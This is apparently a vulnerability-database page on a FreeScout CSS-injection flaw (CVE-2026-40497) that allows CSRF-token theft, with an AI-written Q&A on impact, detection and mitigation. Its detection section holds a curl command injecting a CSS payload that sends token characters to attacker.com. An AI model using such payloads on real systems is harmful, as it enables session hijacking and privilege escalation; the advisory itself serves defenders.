CVE-2026-40497
Received Received - Intake
CSS Injection in FreeScout Mailbox Signature Enables Privilege Escalation

Publication date: 2026-04-21

Last updated on: 2026-04-23

Assigner: GitHub, Inc.

Description
FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, FreeScout's `Helper::stripDangerousTags()` removes `<script>`, `<form>`, `<iframe>`, `<object>` but does NOT strip `<style>` tags. The mailbox signature field is saved via POST /mailbox/settings/{id} and later rendered unescaped via `{!! $conversation->getSignatureProcessed([], true) !!}` in conversation views. CSP allows `style-src * 'self' 'unsafe-inline'`, so injected inline styles execute freely. An attacker with access to mailbox settings (admin or agent with mailbox permission) can inject CSS attribute selectors to exfiltrate the CSRF token of any agent/admin who views a conversation in that mailbox. With the CSRF token, the attacker can perform any state-changing action as the victim (create admin accounts, change email/password, etc.) β€” privilege escalation from agent to admin. This is the result of an incomplete fix of GHSA-jqjf-f566-485j. That advisory reported XSS via mailbox signature. The fix applied `Helper::stripDangerousTags()` to the signature before saving. However, `stripDangerousTags()` only removes `script`, `form`, `iframe`, and `object` tags β€” it does NOT strip `<style>` tags, leaving CSS injection possible. Version 1.8.213 contains an updated fix.
CVSS Scores
EPSS Scores
Probability:
Percentile:
Meta Information
Published
2026-04-21
Last Modified
2026-04-23
Generated
2026-05-07
AI Q&A
2026-04-21
EPSS Evaluated
2026-05-05
NVD
EUVD
Affected Vendors & Products
Showing 1 associated CPE
Vendor Product Version / Range
freescout freescout to 1.8.213 (exc)
Helpful Resources
Exploitability
CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-79 The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?

CVE-2026-40497 is a high-severity vulnerability in FreeScout versions prior to 1.8.213 involving CSS injection via the mailbox signature field. The function Helper::stripDangerousTags() removes dangerous HTML tags like <script>, <form>, <iframe>, and <object>, but does not remove <style> tags. This allows an attacker with access to mailbox settings (admin or agent with mailbox permission) to inject malicious CSS into the mailbox signature.

The mailbox signature is saved through a POST request and later rendered unescaped in conversation views, enabling the injected <style> tags to execute inline CSS. Because the Content Security Policy (CSP) allows 'unsafe-inline' styles, the injected CSS runs without restriction.

The attacker uses CSS attribute selectors targeting the CSRF token input field to exfiltrate the CSRF token character-by-character by causing the victim’s browser to make requests to attacker-controlled URLs. With the stolen CSRF token, the attacker can perform unauthorized state-changing actions as the victim, such as creating admin accounts or changing passwords, effectively escalating privileges from agent to admin.

This vulnerability is a regression or incomplete fix of a previous advisory that addressed XSS via mailbox signatures but did not remove <style> tags. It was patched in FreeScout version 1.8.213 by improving tag sanitization to include <style> tags.


How can this vulnerability impact me? :

This vulnerability allows an attacker with mailbox settings access to inject malicious CSS that can steal CSRF tokens from other agents or admins who view conversations in the affected mailbox.

With the stolen CSRF token, the attacker can perform any state-changing action on behalf of the victim, such as creating new admin accounts, changing email addresses or passwords, and escalating privileges from agent to admin.

This leads to a significant compromise of confidentiality and integrity within the FreeScout system, potentially allowing unauthorized control over the help desk environment.


How can this vulnerability be detected on my network or system? Can you suggest some commands?

This vulnerability can be detected by checking if the mailbox signature field in FreeScout contains unfiltered <style> tags that could be used for CSS injection. Specifically, an attacker with mailbox settings access can inject CSS payloads via POST requests to /mailbox/settings/{id}.

A practical detection method involves inspecting the mailbox signature content for the presence of <style> tags or suspicious CSS attribute selectors targeting the CSRF token input field (e.g., input[name="_token"]).

For example, you can use the following curl command to retrieve the mailbox signature settings and check for <style> tags:

  • curl -X GET -u <user>:<password> https://<freescout-host>/mailbox/settings/<id>

Additionally, to test if the vulnerability exists, you can attempt to inject a CSS payload via a POST request and verify if it is stored verbatim and rendered unescaped:

  • curl -X POST -u <user>:<password> -d 'signature=<style>input[name="_token"][value^="A"]{background:url(http://attacker.com/?token=A);}</style>' https://<freescout-host>/mailbox/settings/<id>

Monitoring network traffic for unusual outbound requests to attacker-controlled domains triggered by CSS exfiltration can also help detect exploitation attempts.


What immediate steps should I take to mitigate this vulnerability?

The immediate mitigation step is to upgrade FreeScout to version 1.8.213 or later, where the vulnerability is fixed by enhancing the sanitization function to remove <style> tags from mailbox signatures.

If upgrading immediately is not possible, restrict mailbox settings modification permissions to trusted administrators only, as the attack requires mailbox settings access.

Additionally, review and tighten the Content Security Policy (CSP) to disallow 'unsafe-inline' styles if feasible, reducing the risk of CSS injection execution.

Finally, monitor mailbox signature fields for suspicious <style> tags and remove any unauthorized CSS injections.


How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:

The vulnerability in FreeScout allows an attacker with mailbox settings access to exfiltrate CSRF tokens of agents or admins by injecting malicious CSS into mailbox signatures. With the stolen CSRF tokens, attackers can perform unauthorized state-changing actions such as creating admin accounts or changing passwords, leading to privilege escalation.

This unauthorized access and privilege escalation could lead to breaches of confidentiality and integrity of sensitive data managed within FreeScout, potentially violating data protection regulations such as GDPR or HIPAA that require strict controls over access and protection of personal or health information.

Therefore, the vulnerability poses a significant risk to compliance with common standards and regulations by enabling attackers to bypass security controls and manipulate sensitive data or user privileges.


Ask Our AI Assistant
Need more information? Ask your question to get an AI reply (Powered by our expertise)
0/70
EPSS Chart